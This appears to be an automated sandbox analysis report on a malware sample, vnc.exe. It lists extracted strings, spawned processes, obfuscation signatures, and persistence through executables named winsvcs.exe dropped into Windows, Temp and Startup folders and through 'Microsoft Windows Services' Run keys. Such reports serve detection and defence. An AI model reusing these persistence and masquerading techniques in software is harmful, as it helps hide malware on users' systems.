Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: @9Q)	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: z?w.	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: IBQ.	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: 4t^	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: -b6	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: 9F0%	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: YT\f	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: +4-	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: kU9;	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: ,i7=	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: 4^5	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: y^	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: XdUt	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: _3G	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: crd.	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: <FB	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: [@R	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: D35	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: h`	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: 9et	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: >?`	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: +\j	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: e'x	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: XB}	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: Yi	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: #]Q'	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: +]wQ	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: >B67	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: #?4	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: rkfT	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: EyyT	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: d4^S	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: X.L;	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: V=\|c	2_1_003919E2
Source: C:\Windows\T-495050303005030\winsvcs.exe	Command line argument: &FDb	2_1_003919E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: <iU	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: ,X`j	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 'C-}	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: ZCak	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: K#"	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: US{j	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 5nF-	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: holn	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: x`;-	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: $P8u	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: DF2	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 'l'	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: Wd5s	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: Iny4	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: Q\I	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: -s9^	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: \|[#G	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: U:8	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: cesa	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: kernel32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: rnel32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: nel32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 2.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: .dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: kernel32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: ernel32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: el32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: l32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: /w;	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: @9Q)	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: z?w.	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: IBQ.	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 4t^	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: -b6	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 9F0%	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: YT\f	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: +4-	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: kU9;	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: ,i7=	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 4^5	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: y^	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: XdUt	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: _3G	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: crd.	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: <FB	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: [@R	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: D35	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: h`	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: 9et	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: >?`	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: +\j	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: e'x	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: XB}	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: Yi	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: #]Q'	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: +]wQ	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: >B67	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: #?4	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: rkfT	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: EyyT	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: d4^S	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: X.L;	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: V=\|c	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: &FDb	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: kernel	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: kernel32.dll	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: cesa	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Command line argument: VirtualProtsct	8_1_004019E2
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: <iU	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: ,X`j	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 'C-}	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: ZCak	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: K#"	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: US{j	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 5nF-	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: holn	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: x`;-	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: $P8u	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: DF2	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 'l'	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: Wd5s	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: Iny4	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: Q\I	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: -s9^	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: \|[#G	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: U:8	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: kernel32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: rnel32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: nel32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 2.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: .dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: kernel32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: ernel32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: el32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: l32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: /w;	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: @9Q)	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: z?w.	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: IBQ.	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 4t^	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: -b6	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 9F0%	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: YT\f	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: +4-	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: kU9;	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: ,i7=	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 4^5	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: y^	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: XdUt	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: _3G	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: crd.	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: <FB	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: [@R	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: D35	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: h`	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: 9et	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: >?`	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: +\j	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: e'x	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: XB}	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: Yi	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: #]Q'	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: +]wQ	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: >B67	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: #?4	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: rkfT	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: EyyT	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: d4^S	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: X.L;	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: V=\|c	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: &FDb	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: kernel	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: kernel32.dll	9_1_004019BA
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Command line argument: hulonexeso	9_1_004019BA

PE file has an executable .text section and no other executable section

Show sources

Source: vnc.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads software policies

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Show sources

Source: vnc.exe

virustotal: Detection: 70%

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\vnc.exe 'C:\Users\user\Desktop\vnc.exe'
Source: unknown	Process created: C:\Windows\T-495050303005030\winsvcs.exe C:\Windows\T-495050303005030\winsvcs.exe
Source: unknown	Process created: C:\Windows\T-495050303005030\winsvcs.exe 'C:\Windows\T-495050303005030\winsvcs.exe'
Source: unknown	Process created: C:\Windows\T-495050303005030\winsvcs.exe 'C:\Windows\T-495050303005030\winsvcs.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\153661691311498.exe C:\Users\user~1\AppData\Local\Temp\153661691311498.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\159753404015476.exe C:\Users\user~1\AppData\Local\Temp\159753404015476.exe
Source: unknown	Process created: C:\Windows\T940405959302020\winsvcs.exe unknown
Source: C:\Users\user\Desktop\vnc.exe	Process created: C:\Windows\T-495050303005030\winsvcs.exe C:\Windows\T-495050303005030\winsvcs.exe	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	Process created: C:\Users\user\AppData\Local\Temp\153661691311498.exe C:\Users\user~1\AppData\Local\Temp\153661691311498.exe	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	Process created: C:\Users\user\AppData\Local\Temp\159753404015476.exe C:\Users\user~1\AppData\Local\Temp\159753404015476.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Process created: C:\Windows\T940405959302020\winsvcs.exe unknown

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\InProcServer32

Jump to behavior

Uses new MSVCR Dlls

Show sources

Source: C:\Users\user\Desktop\vnc.exe

File opened: C:\Windows\system32\msvcr100.dll

Jump to behavior

PE file contains a valid data directory to section mapping

Show sources

Source: vnc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: vnc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: vnc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: vnc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: vnc.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe

Code function: 9_2_00417840 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_00417840

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00406C20 push eax; ret	1_2_00406C4E
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00021584 push 40B071D0h; iretd	1_2_00021589
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0002379D push eax; ret	1_2_0002379E
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00022ACD push ecx; retf	1_2_00022ACF
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00412F68 push eax; ret	1_2_00412F86
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_1_00412F68 push eax; ret	1_1_00412F86
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00406C20 push eax; ret	2_2_00406C4E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00021584 push 40B071D0h; iretd	2_2_00021589
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0002379D push eax; ret	2_2_0002379E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00022ACD push ecx; retf	2_2_00022ACF
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00412F68 push eax; ret	2_2_00412F86
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00396015 push ecx; ret	2_1_00396028
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00394BB6 push ecx; ret	2_1_00394BC9
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_1_00412F68 push eax; ret	2_1_00412F86
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_00021584 push 40B071D0h; iretd	3_2_00021589
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0002379D push eax; ret	3_2_0002379E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_00022ACD push ecx; retf	3_2_00022ACF
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_00412F68 push eax; ret	3_2_00412F86
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_1_00412F68 push eax; ret	3_1_00412F86
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_00021584 push 40B071D0h; iretd	4_2_00021589
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0002379D push eax; ret	4_2_0002379E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_00022ACD push ecx; retf	4_2_00022ACF
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_00412F68 push eax; ret	4_2_00412F86
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_1_00412F68 push eax; ret	4_1_00412F86
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_00406015 push ecx; ret	8_1_00406028
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_00404BB6 push ecx; ret	8_1_00404BC9
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_0041A04C push 0041A07Ch; ret	9_2_0041A074
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_0040E8D0 push 0040E905h; ret	9_2_0040E8FD
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_0041A088 push 0041A0AEh; ret	9_2_0041A0A6
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_0040B164 push 0040B190h; ret	9_2_0040B188
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_0040E908 push 0040E94Ah; ret	9_2_0040E942

Persistence and Installation Behavior:

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Executable created and started: C:\Windows\T940405959302020\winsvcs.exe
Source: C:\Users\user\Desktop\vnc.exe	Executable created and started: C:\Windows\T-495050303005030\winsvcs.exe			Jump to behavior

Drops PE files

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IDHA08HK\p[1].exe	Jump to dropped file
Source: C:\Windows\T-495050303005030\winsvcs.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\82IQJX79\t[1].exe	Jump to dropped file
Source: C:\Windows\T-495050303005030\winsvcs.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BP527HB6\m[1].exe	Jump to dropped file
Source: C:\Windows\T-495050303005030\winsvcs.exe	File created: C:\Users\user~1\AppData\Local\Temp\153661691311498.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	File created: C:\Windows\T940405959302020\winsvcs.exe	Jump to dropped file
Source: C:\Windows\T-495050303005030\winsvcs.exe	File created: C:\Users\user~1\AppData\Local\Temp\Windows Archive Manager.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\winsvcs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\Windows\T-495050303005030\winsvcs.exe	Jump to dropped file
Source: C:\Windows\T-495050303005030\winsvcs.exe	File created: C:\Users\user~1\AppData\Local\Temp\159753404015476.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\winsvcs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe	Jump to dropped file
Source: C:\Windows\T-495050303005030\winsvcs.exe	File created: C:\Users\user~1\AppData\Local\Temp\393531722713539.exe	Jump to dropped file

Drops PE files to the application program directory (C:\ProgramData)

Show sources

Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\winsvcs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\winsvcs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe	Jump to dropped file

Drops PE files to the windows directory (C:\Windows)

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	File created: C:\Windows\T940405959302020\winsvcs.exe			Jump to dropped file
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\Windows\T-495050303005030\winsvcs.exe			Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services

Jump to behavior

Drops PE files to the startup folder

Show sources

Source: C:\Users\user\Desktop\vnc.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe

Jump to dropped file

Creates a start menu entry (Start Menu\Programs\Startup)

Show sources

Source: C:\Users\user\Desktop\vnc.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe

Jump to behavior

Stores files to the Windows start menu directory

Show sources

Source: C:\Users\user\Desktop\vnc.exe	File created: C:\Users\All Users\Microsoft\Windows\Start Menu\winsvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winsvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\vnc.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\winsvcs.exe	Jump to behavior

Creates an autostart registry key

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services	Jump to behavior
Source: C:\Users\user\Desktop\vnc.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services	Jump to behavior
Source: C:\Users\user\Desktop\vnc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services	Jump to behavior
Source: C:\Users\user\Desktop\vnc.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services
